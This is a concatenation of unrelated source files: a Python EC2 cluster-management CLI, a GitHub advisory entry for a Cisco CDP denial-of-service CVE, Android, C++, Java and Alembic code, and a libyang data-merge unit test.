print_instance(i) print '' def is_failure(result): return isinstance(result, basestring) def any_failures(results): return any(is_failure(x) for x in results) def print_failures(results): for ix in xrange(len(results)): if is_failure(results[ix]): print instances[ix].id, "|", instances[ix].ip_address, ':', results[ix] print "Uploading package..." results = upload_package(args.package, instances, get_identity_file(args.identity_file)) if any_failures(results): print "Failed to upload package:" print_failures(results) return print "Package uploaded successfully" print '' print "Updating service..." results = update_ufora_service(instances, get_identity_file(args.identity_file)) if any_failures(results): print "Failed to update service:" print_failures(results) return print "Service updated successfully" def running_instances(reservations): return instances_in_state(reservations, ('running',)) def running_or_pending_instances(reservations): return instances_in_state(reservations, ('running', 'pending')) def instances_in_state(reservations, states): return [i for i in reservations['instances'] if i.state in states] def print_instance(instance, tag=None): output = " %s | %s | %s" % (instance.id, instance.ip_address, instance.state) if tag is None and 'Name' in instance.tags: tag = 'manager' if 'manager' in instance.tags['Name'] else 'worker' tag = tag or '' if tag: output += " | " + tag print output def print_spot_request(request): print " %s | %s | %s" % (request.id, request.state, request.status.code) all_arguments = { 'yes-all': { 'args': ('-y', '--yes-all'), 'kwargs': { 'action': 'store_true', 'help': 'Do not prompt user input. Answer "yes" to all prompts.' } }, 'name': { 'args': ('--name',), 'kwargs': { 'help': 'The name of the cluster. Default: "pyfora"' } }, 'ec2-region': { 'args': ('--ec2-region',), 'kwargs': { 'default': os.getenv('PYFORA_AWS_EC2_REGION') or 'us-east-1', 'help': ('The EC2 region in which instances are launched. ' 'Can also be set using the PYFORA_AWS_EC2_REGION environment variable. ' 'Default: us-east-1') } }, 'num-instances': { 'args': ('-n', '--num-instances'), 'kwargs': { 'type': int, 'default': 1, 'help': 'The number of instances to launch. Default: %(default)s' } }, 'ssh-keyname': { 'args': ('--ssh-keyname',), 'kwargs': { 'help': ('The name of the EC2 key-pair to use when launching instances. ' 'Can also be set using the PYFORA_AWS_SSH_KEYNAME environment variable.') } }, 'spot-price': { 'args': ('--spot-price',), 'kwargs': { 'type': float, 'help': ('Launch spot instances with specified max bid price. ' 'On-demand instances are launch if this argument is omitted.') } }, 'instance-type': { 'args': ('--instance-type',), 'kwargs': { 'default': 'c3.8xlarge', 'help': 'The EC2 instance type to launch. Default: %(default)s' } }, 'vpc-id': { 'args': ('--vpc-id',), 'kwargs': { 'help': ('The id of the VPC into which instances are launched. ' 'EC2 Classic is used if this argument is omitted.') } }, 'subnet-id': { 'args': ('--subnet-id',), 'kwargs': { 'help': ('The id of the VPC subnet into which instances are launched. ' 'This argument must be specified if --vpc-id is used and is ' 'ignored otherwise.') } }, 'security-group-id': { 'args': ('--security-group-id',), 'kwargs': { 'help': ('The id of the EC2 security group into which instances are launched. ' 'If omitted, a security group called "pyfora ssh" (or "pyfora open" ' 'if --open-public-port is specified) is created. If a security group ' 'with that name already exists, it is used as-is.') } }, 'open-public-port': { 'args': ('--open-public-port',), 'kwargs': { 'action': 'store_true', 'help': ('If specified, HTTP access to the manager machine will be open from ' 'anywhere (0.0.0.0/0). Use with care! ' 'Anyone will be able to connect to your cluster. ' "As an alternative, considering tunneling pyfora's HTTP port (30000) " 'over SSH using the -L argument to the `ssh` command.') } }, 'commit': { 'args': ('--commit',), 'kwargs': { 'help': ('Run the backend services from a specified commit in the ufora/ufora ' 'GitHub repository.') } }, 'identity-file': { 'args': ('-i', '--identity-file'), 'kwargs': { 'required': os.getenv('PYFORA_AWS_IDENTITY_FILE') is None, 'default': os.getenv('PYFORA_AWS_IDENTITY_FILE'), 'help': 'The file from which the private SSH key is read. ' 'Can also be set using the PYFORA_AWS_IDENTITY_FILE environment variable.' } } } common_args = ('name', 'ec2-region') launch_args = common_args + ('num-instances', 'spot-price') start_args = launch_args + ('yes-all', 'vpc-id', 'subnet-id', 'security-group-id', 'ssh-keyname', 'instance-type', 'open-public-port', 'commit') add_args = launch_args list_args = common_args command_args = common_args + ('identity-file',) def add_arguments(parser, arg_names): for name in arg_names: arg = all_arguments[name] parser.add_argument(*arg['args'], **arg['kwargs']) def main(): parser = argparse.ArgumentParser() subparsers = parser.add_subparsers() restart_all_parser = subparsers.add_parser( 'restart', help='Reboot all ufora_manager and ufora_worker processes' ) restart_all_parser.set_defaults(func=restart_instances) add_arguments(restart_all_parser, command_args) worker_logs_parser = subparsers.add_parser( 'worker_logs', help='Return the last N lines of logs matching a particular regex') worker_logs_parser.set_defaults(func=worker_logs) add_arguments(worker_logs_parser, command_args) worker_logs_parser.add_argument('N', type=int, default=1, help="Number of matches to return") worker_logs_parser.add_argument('-e', '--expression', type=str, required=True, help="Regular expression to search for") worker_logs_parser.add_argument('-A', type=int, required=False, default=0, help="Lines of context after the expression") worker_logs_parser.add_argument('-B', type=int, required=False, default=0, help="Lines of context before the expression") worker_load_parser = subparsers.add_parser('worker_load', help='Run htop in tmux for all workers') worker_load_parser.set_defaults(func=worker_load) worker_load_parser.add_argument('-l', '--logs', action='store_true', default=False, help="Instead of htop, tail the logs") add_arguments(worker_load_parser, command_args) launch_parser = subparsers.add_parser('start', help='Launch one or more backend instances') launch_parser.set_defaults(func=start_instances) add_arguments(launch_parser, start_args) add_parser = subparsers.add_parser('add', help='Add workers to the existing cluster') add_parser.set_defaults(func=add_instances) add_arguments(add_parser, add_args) list_parser = subparsers.add_parser('list', help='List running backend instances') list_parser.set_defaults(func=list_instances) add_arguments(list_parser, list_args) stop_parser = subparsers.add_parser('stop', help='Stop all backend instances') stop_parser.set_defaults(func=stop_instances) add_arguments(stop_parser, common_args) stop_parser.add_argument('--terminate', action='store_true', help=('Terminate instances instead of stopping them. ' 'Spot instances cannot be stopped, only terminated.')) deploy_parser = subparsers.add_parser('deploy', help='deploy a build to all backend instances') deploy_parser.set_defaults(func=deploy_package) add_arguments(deploy_parser, command_args) deploy_parser.add_argument('-p', '--package', required=True, help='Path to the backend pagacke to deploy.') args = parser.parse_args() return args.func(args)
11,199
892
<reponame>github/advisory-database<filename>advisories/unreviewed/2022/05/GHSA-5234-wvr8-wqqh/GHSA-5234-wvr8-wqqh.json { "schema_version": "1.2.0", "id": "GHSA-5234-wvr8-wqqh", "modified": "2022-05-13T01:12:21Z", "published": "2022-05-13T01:12:21Z", "aliases": [ "CVE-2018-0471" ], "details": "A vulnerability in the Cisco Discovery Protocol (CDP) module of Cisco IOS XE Software Releases 16.6.1 and 16.6.2 could allow an unauthenticated, adjacent attacker to cause a memory leak that may lead to a denial of service (DoS) condition. The vulnerability is due to incorrect processing of certain CDP packets. An attacker could exploit this vulnerability by sending certain CDP packets to an affected device. A successful exploit could cause an affected device to continuously consume memory and eventually result in a memory allocation failure that leads to a crash, triggering a reload of the affected device.", "severity": [ { "type": "CVSS_V3", "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H" } ], "affected": [ ], "references": [ { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-0471" }, { "type": "WEB", "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180926-cdp-memleak" }, { "type": "WEB", "url": "http://www.securityfocus.com/bid/105398" }, { "type": "WEB", "url": "http://www.securitytracker.com/id/1041737" } ], "database_specific": { "cwe_ids": [ "CWE-772" ], "severity": "HIGH", "github_reviewed": false } }
672
1,207
<gh_stars>1000+ package android.marshon.likequanmintv.mvp.recommend; import android.marshon.likequanmintv.bean.Banner; import android.marshon.likequanmintv.bean.LiveCategory; import android.marshon.likequanmintv.librarys.http.delagate.IGetDataDelegate; import android.marshon.likequanmintv.librarys.http.rxjava.MSubscriber; import android.marshon.likequanmintv.librarys.mvpbase.BasePresenterImpl; import android.marshon.likequanmintv.mvp.recommend.interactor.RecommendFragmentInteractorImpl; import com.google.gson.Gson; import com.google.gson.reflect.TypeToken; import org.json.JSONArray; import org.json.JSONObject; import java.lang.reflect.Type; import java.util.List; import javax.inject.Inject; import rx.Subscription; /** * Created by ITMarshon.Chen on 2016/11/24. * emal:<EMAIL> * desc: */ public class RecommendRecommendPresenterImpl extends BasePresenterImpl<RecommendRecommendView> implements RecommendRecommendPresenter{ @Inject public RecommendRecommendPresenterImpl(){} @Inject public RecommendFragmentInteractorImpl mInteractor; @Override public void getRecommendCategories() { Subscription subscription = mInteractor.getRecommendCategories(new IGetDataDelegate<List<LiveCategory>>() { @Override public void getDataSuccess(List<LiveCategory> liveCategories) { mPresenterView.onGetRecommendCategories(liveCategories); } @Override public void getDataError(String errmsg) { } }); mSubscriptions.add(subscription); } @Override public void getAppStartInfo() { Subscription subscription = mInteractor.getStartInfo(new MSubscriber<JSONObject>() { @Override public void onNext(JSONObject obj) { super.onNext(obj); Gson mGson = new Gson(); JSONArray appfocusArray = obj.optJSONArray("app-focus"); Type type = new TypeToken<List<Banner>>() { }.getType(); if (appfocusArray != null) { List<Banner> banners = mGson.fromJson(appfocusArray.toString(), type); mPresenterView.onGetBanners(banners); } } }); mSubscriptions.add(subscription); } }
971
785
<reponame>fornellas/dmbs /* DMBS Build System Released into the public domain. dean [at] fourwalledcubicle [dot] com www.fourwalledcubicle.com */ // Include Guard #pragma once #include <stdint.h> #include <stddef.h> #include <avr/io.h>
124
4,772
<gh_stars>1000+ package example.repo; import example.model.Customer1269; import java.util.List; import org.springframework.data.repository.CrudRepository; public interface Customer1269Repository extends CrudRepository<Customer1269, Long> { List<Customer1269> findByLastName(String lastName); }
95
755
<reponame>kmqwerty/Overload<gh_stars>100-1000 /** * @project: Overload * @author: <NAME>. * @licence: MIT */ #include <utility> #include <stdexcept> #include "OvMaths/FVector4.h" const OvMaths::FVector4 OvMaths::FVector4::One(1.0f, 1.0f, 1.0f, 1.0f); const OvMaths::FVector4 OvMaths::FVector4::Zero(0.0f, 0.0f, 0.0f, 0.0f); OvMaths::FVector4::FVector4(float p_x, float p_y, float p_z, float p_w) : x(p_x), y(p_y), z(p_z), w(p_w) { } OvMaths::FVector4::FVector4(const FVector4& p_toCopy) : x(p_toCopy.x), y(p_toCopy.y), z(p_toCopy.z), w(p_toCopy.w) { } OvMaths::FVector4 OvMaths::FVector4::operator-() const { return operator*(-1); } OvMaths::FVector4 OvMaths::FVector4::operator=(const FVector4& p_other) { this->x = p_other.x; this->y = p_other.y; this->z = p_other.z; this->w = p_other.w; return *this; } OvMaths::FVector4 OvMaths::FVector4::operator+(const FVector4& p_other) const { return Add(*this, p_other); } OvMaths::FVector4& OvMaths::FVector4::operator+=(const FVector4& p_other) { *this = Add(*this, p_other); return *this; } OvMaths::FVector4 OvMaths::FVector4::operator-(const FVector4& p_other) const { return Substract(*this, p_other); } OvMaths::FVector4& OvMaths::FVector4::operator-=(const FVector4& p_other) { *this = Substract(*this, p_other); return *this; } OvMaths::FVector4 OvMaths::FVector4::operator*(float p_scalar) const { return Multiply(*this, p_scalar); } OvMaths::FVector4& OvMaths::FVector4::operator*=(float p_scalar) { *this = Multiply(*this, p_scalar); return *this; } OvMaths::FVector4 OvMaths::FVector4::operator/(float p_scalar) const { return Divide(*this, p_scalar); } OvMaths::FVector4& OvMaths::FVector4::operator/=(float p_scalar) { *this = Divide(*this, p_scalar); return *this; } bool OvMaths::FVector4::operator==(const FVector4 & p_other) { return this->x == p_other.x && this->y == p_other.y && this->z == p_other.z && this->w == p_other.w; } bool OvMaths::FVector4::operator!=(const FVector4 & p_other) { return !operator==(p_other); } OvMaths::FVector4 OvMaths::FVector4::Add(const FVector4& p_left, const FVector4& p_right) { return FVector4 ( p_left.x + p_right.x, p_left.y + p_right.y, p_left.z + p_right.z, p_left.w + p_right.w ); } OvMaths::FVector4 OvMaths::FVector4::Substract(const FVector4& p_left, const FVector4& p_right) { return FVector4 ( p_left.x - p_right.x, p_left.y - p_right.y, p_left.z - p_right.z, p_left.w - p_right.w ); } OvMaths::FVector4 OvMaths::FVector4::Multiply(const FVector4& p_target, float p_scalar) { return FVector4 ( p_target.x * p_scalar, p_target.y * p_scalar, p_target.z * p_scalar, p_target.w * p_scalar ); } OvMaths::FVector4 OvMaths::FVector4::Divide(const FVector4& p_left, float p_scalar) { FVector4 result(p_left); if (p_scalar == 0) throw std::logic_error("Division by 0"); result.x /= p_scalar; result.y /= p_scalar; result.z /= p_scalar; result.w /= p_scalar; return result; } float OvMaths::FVector4::Length(const FVector4& p_target) { return sqrtf(p_target.x * p_target.x + p_target.y * p_target.y + p_target.z * p_target.z + p_target.w * p_target.w); } float OvMaths::FVector4::Dot(const FVector4& p_left, const FVector4& p_right) { return p_left.x * p_right.x + p_left.y * p_right.y + p_left.z * p_right.z + p_left.w * p_right.w; } OvMaths::FVector4 OvMaths::FVector4::Normalize(const FVector4& p_target) { float length = Length(p_target); if (length > 0.0f) { float targetLength = 1.0f / length; return FVector4 ( p_target.x * targetLength, p_target.y * targetLength, p_target.z * targetLength, p_target.w * targetLength ); } else { return FVector4::Zero; } } OvMaths::FVector4 OvMaths::FVector4::Lerp(const FVector4& p_start, const FVector4& p_end, float p_alpha) { return (p_start + (p_end - p_start) * p_alpha); }
1,808
8,027
#ifndef __i386__ #error "This library only builds for x86" #endif void x86_only_function() {}
34
301
/* *-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= * * Copyright 2018 Intel Corporation All Rights Reserved. * *-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * *-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= */ #include <iostream> #include "DimmingResource.h" #include "OCPlatform.h" #define INTERFACE_KEY "if" using namespace OC; namespace PH = std::placeholders; DimmingResource::DimmingResource(std::string resourceUri): m_interestedObservers{}, m_var_value_dimmingSetting{100}, m_var_value_n{}, m_var_value_if{}, m_var_value_rt{} { std::cout << "Running: DimmingResource constructor" << std::endl; std::string resourceURI = "/dimming"; // VS2013 will fail list initialization so use array initialization m_resourceUri = resourceUri; m_RESOURCE_TYPE[0] = "oic.r.light.dimming"; m_RESOURCE_INTERFACE[0] = "oic.if.baseline"; m_RESOURCE_INTERFACE[1] = "oic.if.a"; m_IF_UPDATE[0] = "oic.if.a"; m_IF_UPDATE[1] = "oic.if.rw"; m_IF_UPDATE[2] = "oic.if.baseline"; m_var_name_dimmingSetting = "dimmingSetting"; m_var_name_n = "n"; m_var_name_if = "if"; m_var_name_rt = "rt"; // initialize member variables /dimming m_var_value_dimmingSetting = 0; // current value of property "dimmingSetting" m_var_value_n = ""; // current value of property "n" // initialize vector if m_var_value_if.push_back("oic.if.baseline"); m_var_value_if.push_back("oic.if.a"); // initialize vector rt m_var_value_rt.push_back("oic.r.light.dimming"); } DimmingResource::~DimmingResource(void) { } OCStackResult DimmingResource::registerResource(uint8_t resourceProperty) { EntityHandler cb = std::bind(&DimmingResource::entityHandler, this, PH::_1); OCStackResult result = OC_STACK_ERROR; result = OCPlatform::registerResource(m_resourceHandle, m_resourceUri, m_RESOURCE_TYPE[0], m_RESOURCE_INTERFACE[0], cb, resourceProperty); if (OC_STACK_OK != result) { std::cerr << "Failed to register BinarySwitchResoruce." << std::endl; return result; } /// add the additional resource types for( size_t a = 1; a < (sizeof(m_RESOURCE_TYPE)/sizeof(m_RESOURCE_TYPE[0])); a++ ) { result = OCPlatform::bindTypeToResource(m_resourceHandle, m_RESOURCE_TYPE[a].c_str()); if (OC_STACK_OK != result) { std::cerr << "Could not bind resource type:" << m_RESOURCE_INTERFACE[a] << std::endl; return result; } } // add the additional interfaces for( size_t a = 1; a < (sizeof(m_RESOURCE_INTERFACE)/sizeof(m_RESOURCE_INTERFACE[0])); a++) { result = OCPlatform::bindInterfaceToResource(m_resourceHandle, m_RESOURCE_INTERFACE[a].c_str()); if (OC_STACK_OK != result) { std::cerr << "Could not bind interface:" << m_RESOURCE_INTERFACE[a] << std::endl; return result; } } std::cout << "DimmingResource:" << std::endl; std::cout << "\t" << "# resource interfaces: " << (sizeof(m_RESOURCE_INTERFACE)/sizeof(m_RESOURCE_INTERFACE[0])) << std::endl; std::cout << "\t" << "# resource types : " << (sizeof(m_RESOURCE_TYPE)/sizeof(m_RESOURCE_TYPE[0])) << std::endl; return result; } int DimmingResource::getDimmingSetting(void) { return m_var_value_dimmingSetting; } void DimmingResource::setDimmingSetting(int dimmingSetting) { if (dimmingSetting >= 0 && dimmingSetting <= 100) { m_var_value_dimmingSetting = dimmingSetting; std::cout << "\t\t" << "property 'dimmingSetting': " << m_var_value_dimmingSetting << std::endl; } else { std::cerr << "the dimmingSetting must between 0 and 100" << std::endl; } } OCStackResult DimmingResource::sendNotification(void) { OCStackResult sResult = OC_STACK_OK; if ( m_interestedObservers.size() > 0) { std::cout << "Notifying list" << m_interestedObservers.size() << " of observers\n"; auto pResponse = std::make_shared<OC::OCResourceResponse>(); sResult = OCPlatform::notifyListOfObservers(m_resourceHandle, m_interestedObservers, pResponse); } return sResult; } OC::OCRepresentation DimmingResource::get(OC::QueryParamsMap queries) { OC_UNUSED(queries); m_rep.setValue(m_var_name_dimmingSetting, m_var_value_dimmingSetting ); m_rep.setValue(m_var_name_n, m_var_value_n ); m_rep.setValue(m_var_name_if, m_var_value_if ); m_rep.setValue(m_var_name_rt, m_var_value_rt ); return m_rep; } OCEntityHandlerResult DimmingResource::post(OC::QueryParamsMap queries, const OC::OCRepresentation& rep) { OCEntityHandlerResult ehResult = OC_EH_OK; OC_UNUSED(queries); try { if (rep.hasAttribute(m_var_name_dimmingSetting)) { // allocate the variable int value; // get the actual value from the payload rep.getValue(m_var_name_dimmingSetting, value); // value exist in payload } } catch (std::exception& e) { std::cout << e.what() << std::endl; } if (ehResult == OC_EH_OK) { // no error: assign the variables try { // value exist in payload if (rep.getValue(m_var_name_dimmingSetting, m_var_value_dimmingSetting )) { std::cout << "\t\t" << "property 'dimmingSetting': " << m_var_value_dimmingSetting << std::endl; } else { std::cout << "\t\t" << "property 'dimmingSetting' not found in the representation" << std::endl; } } catch (std::exception& e) { std::cout << e.what() << std::endl; } try { if (rep.getValue(m_var_name_n, m_var_value_n )) { std::cout << "\t\t" << "property 'n' : " << m_var_value_n << std::endl; } else { std::cout << "\t\t" << "property 'n' not found in the representation" << std::endl; } } catch (std::exception& e) { std::cout << e.what() << std::endl; } try { if (rep.hasAttribute(m_var_name_if)) { rep.getValue(m_var_name_if, m_var_value_if); int first = 1; std::cout << "\t\t" << "property 'if' : " ; for(auto myvar: m_var_value_if) { if (first) { std::cout << myvar; first = 0; } else { std::cout << "," << myvar; } } std::cout << std::endl; } else { std::cout << "\t\t" << "property 'if' not found in the representation" << std::endl; } } catch (std::exception& e) { std::cout << e.what() << std::endl; } try { if (rep.hasAttribute(m_var_name_rt)) { rep.getValue(m_var_name_rt, m_var_value_rt); int first = 1; std::cout << "\t\t" << "property 'rt' : " ; for(auto myvar: m_var_value_rt) { if (first) { std::cout << myvar; first = 0; } else { std::cout << "," << myvar; } } std::cout << std::endl; } else { std::cout << "\t\t" << "property 'rt' not found in the representation" << std::endl; } } catch (std::exception& e) { std::cout << e.what() << std::endl; } } return ehResult; } OCEntityHandlerResult DimmingResource::entityHandler(std::shared_ptr<OC::OCResourceRequest> request) { OCEntityHandlerResult ehResult = OC_EH_ERROR; if (request) { std::cout << "In entity handler for DimmingResource, URI is : " << request->getResourceUri() << std::endl; // Check for query params (if any) QueryParamsMap queries = request->getQueryParameters(); if (!queries.empty()) { std::cout << "\nQuery processing up to entityHandler" << std::endl; } for (auto it : queries) { std::cout << "Query key: " << it.first << " value : " << it.second << std::endl; } // get the value, so that we can AND it to check which flags are set int requestFlag = request->getRequestHandlerFlag(); if (requestFlag & RequestHandlerFlag::RequestFlag) { // request flag is set auto pResponse = std::make_shared<OC::OCResourceResponse>(); pResponse->setRequestHandle(request->getRequestHandle()); pResponse->setResourceHandle(request->getResourceHandle()); if (request->getRequestType() == "GET") { std::cout<<"DimmingResource Get Request"<< std::endl; pResponse->setResourceRepresentation(get(queries), ""); if (OC_STACK_OK == OCPlatform::sendResponse(pResponse)) { ehResult = OC_EH_OK; } } else if (request->getRequestType() == "POST") { std::cout <<"DimmingResource Post Request"<<std::endl; bool handle_post = true; if (queries.size() > 0) { for (const auto &eachQuery : queries) { std::string key = eachQuery.first; if (key.compare(INTERFACE_KEY) == 0) { std::string value = eachQuery.second; if (in_updatable_interfaces(value) == false) { std::cout << "Update request received via interface: " << value << " . This interface is not authorized to update resource!!" << std::endl; pResponse->setResponseResult(OCEntityHandlerResult::OC_EH_FORBIDDEN); handle_post = false; ehResult = OC_EH_ERROR; break; } } } } if (handle_post) { ehResult = post(queries, request->getResourceRepresentation()); if (ehResult == OC_EH_OK) { pResponse->setResourceRepresentation(get(queries), ""); } else { pResponse->setResponseResult(OCEntityHandlerResult::OC_EH_ERROR); } if (OC_STACK_OK == OCPlatform::sendResponse(pResponse)) { if (OC_STACK_OK != sendNotification() ) { std::cerr << "NOTIFY failed." << std::endl; } } } } else { std::cout << "DimmingResource unsupported request type (delete,put,..)" << request->getRequestType() << std::endl; pResponse->setResponseResult(OC_EH_ERROR); OCPlatform::sendResponse(pResponse); ehResult = OC_EH_ERROR; } } if (requestFlag & RequestHandlerFlag::ObserverFlag) { // observe flag is set std::cout << "\t\trequestFlag : Observer "; ObservationInfo observationInfo = request->getObservationInfo(); ((ObserveAction::ObserveRegister == observationInfo.action) ? std::cout << "Register\n" : std::cout << "Unregister\n"); if (ObserveAction::ObserveRegister == observationInfo.action) { // add observer m_interestedObservers.push_back(observationInfo.obsId); } else if (ObserveAction::ObserveUnregister == observationInfo.action) { // delete observer m_interestedObservers.erase(std::remove( m_interestedObservers.begin(), m_interestedObservers.end(), observationInfo.obsId), m_interestedObservers.end()); } ehResult = OC_EH_OK; } } return ehResult; }
7,268
557
// // FastStubInspector.h // FastStub // // Created by <NAME> on 16/5/16. // Copyright © 2016年 music4kid. All rights reserved. // #import <Foundation/Foundation.h> @interface FastStubInspector : NSObject + (instancetype)sharedInstance; - (void)updateHeader:(NSString *)headerPath; - (void)updateProject:(NSString *)projectPath completeBlock:(dispatch_block_t)completeBlock; - (void)loadCustomElement; @end
147
421
"""empty message Revision ID: 4b9fb4d<PASSWORD>9 Revises: 451f6bd05a19 Create Date: 2019-07-19 13:38:08.010157 """ from alembic import op import sqlalchemy as sa from sqlalchemy.dialects import postgresql # revision identifiers, used by Alembic. revision = "4<PASSWORD>" down_revision = "451f6bd05a19" branch_labels = None depends_on = None def upgrade(): # ### commands auto generated by Alembic - please adjust! ### op.add_column( "projects", sa.Column("id_presets", postgresql.ARRAY(sa.String()), nullable=True), ) # ### end Alembic commands ### def downgrade(): # ### commands auto generated by Alembic - please adjust! ### op.drop_column("projects", "id_presets") # ### end Alembic commands ###
282
308
<filename>tests/utests/data/test_merge.c /** * @file test_merge.c * @author <NAME> <<EMAIL>> * @brief tests for complex data merges. * * Copyright (c) 2020 CESNET, z.s.p.o. * * This source code is licensed under BSD 3-Clause License (the "License"). * You may not use this file except in compliance with the License. * You may obtain a copy of the License at * * https://opensource.org/licenses/BSD-3-Clause */ #define _UTEST_MAIN_ #include "utests.h" #include "libyang.h" #define LYD_TREE_CREATE(INPUT, MODEL) \ CHECK_PARSE_LYD_PARAM(INPUT, LYD_XML, 0, LYD_VALIDATE_PRESENT, LY_SUCCESS, MODEL) #define CONTEXT_CREATE \ CONTEXT_CREATE_PATH(NULL) #define LYD_TREE_CHECK_CHAR(MODEL, TEXT, PARAMS) \ CHECK_LYD_STRING_PARAM(MODEL, TEXT, LYD_XML, LYD_PRINT_WITHSIBLINGS | PARAMS) static void test_batch(void **state) { const char *start = "<modules-state xmlns=\"urn:ietf:params:xml:ns:yang:ietf-yang-library\">\n" " <module>\n" " <name>yang</name>\n" " <revision>2016-02-11</revision>\n" " <conformance-type>implement</conformance-type>\n" " </module>\n" "</modules-state>\n"; const char *data[] = { "<modules-state xmlns=\"urn:ietf:params:xml:ns:yang:ietf-yang-library\">\n" " <module>\n" " <name>ietf-yang-library</name>\n" " <revision>2016-02-01</revision>\n" " <conformance-type>implement</conformance-type>\n" " </module>\n" "</modules-state>\n", "<modules-state xmlns=\"urn:ietf:params:xml:ns:yang:ietf-yang-library\">\n" " <module>\n" " <name>ietf-netconf-acm</name>\n" " <revision>2012-02-22</revision>\n" " <conformance-type>implement</conformance-type>\n" " </module>\n" "</modules-state>\n", "<modules-state xmlns=\"urn:ietf:params:xml:ns:yang:ietf-yang-library\">\n" " <module>\n" " <name>ietf-netconf</name>\n" " <revision>2011-06-01</revision>\n" " <conformance-type>implement</conformance-type>\n" " </module>\n" "</modules-state>\n", "<modules-state xmlns=\"urn:ietf:params:xml:ns:yang:ietf-yang-library\">\n" " <module>\n" " <name>ietf-netconf-monitoring</name>\n" " <revision>2010-10-04</revision>\n" " <conformance-type>implement</conformance-type>\n" " </module>\n" "</modules-state>\n", "<modules-state xmlns=\"urn:ietf:params:xml:ns:yang:ietf-yang-library\">\n" " <module>\n" " <name>ietf-netconf-with-defaults</name>\n" " <revision>2011-06-01</revision>\n" " <conformance-type>implement</conformance-type>\n" " </module>\n" "</modules-state>\n", "<modules-state xmlns=\"urn:ietf:params:xml:ns:yang:ietf-yang-library\">\n" " <module>\n" " <name>yang</name>\n" " <revision>2016-02-11</revision>\n" " <namespace>urn:ietf:params:xml:ns:yang:1</namespace>\n" " <conformance-type>implement</conformance-type>\n" " </module>\n" "</modules-state>\n", "<modules-state xmlns=\"urn:ietf:params:xml:ns:yang:ietf-yang-library\">\n" " <module>\n" " <name>ietf-yang-library</name>\n" " <revision>2016-02-01</revision>\n" " <namespace>urn:ietf:params:xml:ns:yang:ietf-yang-library</namespace>\n" " <conformance-type>implement</conformance-type>\n" " </module>\n" "</modules-state>\n", "<modules-state xmlns=\"urn:ietf:params:xml:ns:yang:ietf-yang-library\">\n" " <module>\n" " <name>ietf-netconf-acm</name>\n" " <revision>2012-02-22</revision>\n" " <namespace>urn:ietf:params:xml:ns:yang:ietf-netconf-acm</namespace>\n" " <conformance-type>implement</conformance-type>\n" " </module>\n" "</modules-state>\n", "<modules-state xmlns=\"urn:ietf:params:xml:ns:yang:ietf-yang-library\">\n" " <module>\n" " <name>ietf-netconf</name>\n" " <revision>2011-06-01</revision>\n" " <namespace>urn:ietf:params:xml:ns:netconf:base:1.0</namespace>\n" " <feature>writable-running</feature>\n" " <feature>candidate</feature>\n" " <feature>rollback-on-error</feature>\n" " <feature>validate</feature>\n" " <feature>startup</feature>\n" " <feature>xpath</feature>\n" " <conformance-type>implement</conformance-type>\n" " </module>\n" "</modules-state>\n", "<modules-state xmlns=\"urn:ietf:params:xml:ns:yang:ietf-yang-library\">\n" " <module>\n" " <name>ietf-netconf-monitoring</name>\n" " <revision>2010-10-04</revision>\n" " <namespace>urn:ietf:params:xml:ns:yang:ietf-netconf-monitoring</namespace>\n" " <conformance-type>implement</conformance-type>\n" " </module>\n" "</modules-state>\n", "<modules-state xmlns=\"urn:ietf:params:xml:ns:yang:ietf-yang-library\">\n" " <module>\n" " <name>ietf-netconf-with-defaults</name>\n" " <revision>2011-06-01</revision>\n" " <namespace>urn:ietf:params:xml:ns:yang:ietf-netconf-with-defaults</namespace>\n" " <conformance-type>implement</conformance-type>\n" " </module>\n" "</modules-state>\n" }; const char *output_template = "<modules-state xmlns=\"urn:ietf:params:xml:ns:yang:ietf-yang-library\">\n" " <module>\n" " <name>yang</name>\n" " <revision>2016-02-11</revision>\n" " <namespace>urn:ietf:params:xml:ns:yang:1</namespace>\n" " <conformance-type>implement</conformance-type>\n" " </module>\n" " <module>\n" " <name>ietf-yang-library</name>\n" " <revision>2016-02-01</revision>\n" " <namespace>urn:ietf:params:xml:ns:yang:ietf-yang-library</namespace>\n" " <conformance-type>implement</conformance-type>\n" " </module>\n" " <module>\n" " <name>ietf-netconf-acm</name>\n" " <revision>2012-02-22</revision>\n" " <namespace>urn:ietf:params:xml:ns:yang:ietf-netconf-acm</namespace>\n" " <conformance-type>implement</conformance-type>\n" " </module>\n" " <module>\n" " <name>ietf-netconf</name>\n" " <revision>2011-06-01</revision>\n" " <namespace>urn:ietf:params:xml:ns:netconf:base:1.0</namespace>\n" " <feature>writable-running</feature>\n" " <feature>candidate</feature>\n" " <feature>rollback-on-error</feature>\n" " <feature>validate</feature>\n" " <feature>startup</feature>\n" " <feature>xpath</feature>\n" " <conformance-type>implement</conformance-type>\n" " </module>\n" " <module>\n" " <name>ietf-netconf-monitoring</name>\n" " <revision>2010-10-04</revision>\n" " <namespace>urn:ietf:params:xml:ns:yang:ietf-netconf-monitoring</namespace>\n" " <conformance-type>implement</conformance-type>\n" " </module>\n" " <module>\n" " <name>ietf-netconf-with-defaults</name>\n" " <revision>2011-06-01</revision>\n" " <namespace>urn:ietf:params:xml:ns:yang:ietf-netconf-with-defaults</namespace>\n" " <conformance-type>implement</conformance-type>\n" " </module>\n" "</modules-state>\n"; struct lyd_node *target; CHECK_PARSE_LYD_PARAM(start, LYD_XML, LYD_PARSE_ONLY, 0, LY_SUCCESS, target); for (int32_t i = 0; i < 11; ++i) { struct lyd_node *source; CHECK_PARSE_LYD_PARAM(data[i], LYD_XML, LYD_PARSE_ONLY, 0, LY_SUCCESS, source); assert_int_equal(LY_SUCCESS, lyd_merge_siblings(&target, source, LYD_MERGE_DESTRUCT)); } LYD_TREE_CHECK_CHAR(target, output_template, 0); lyd_free_all(target); } static void 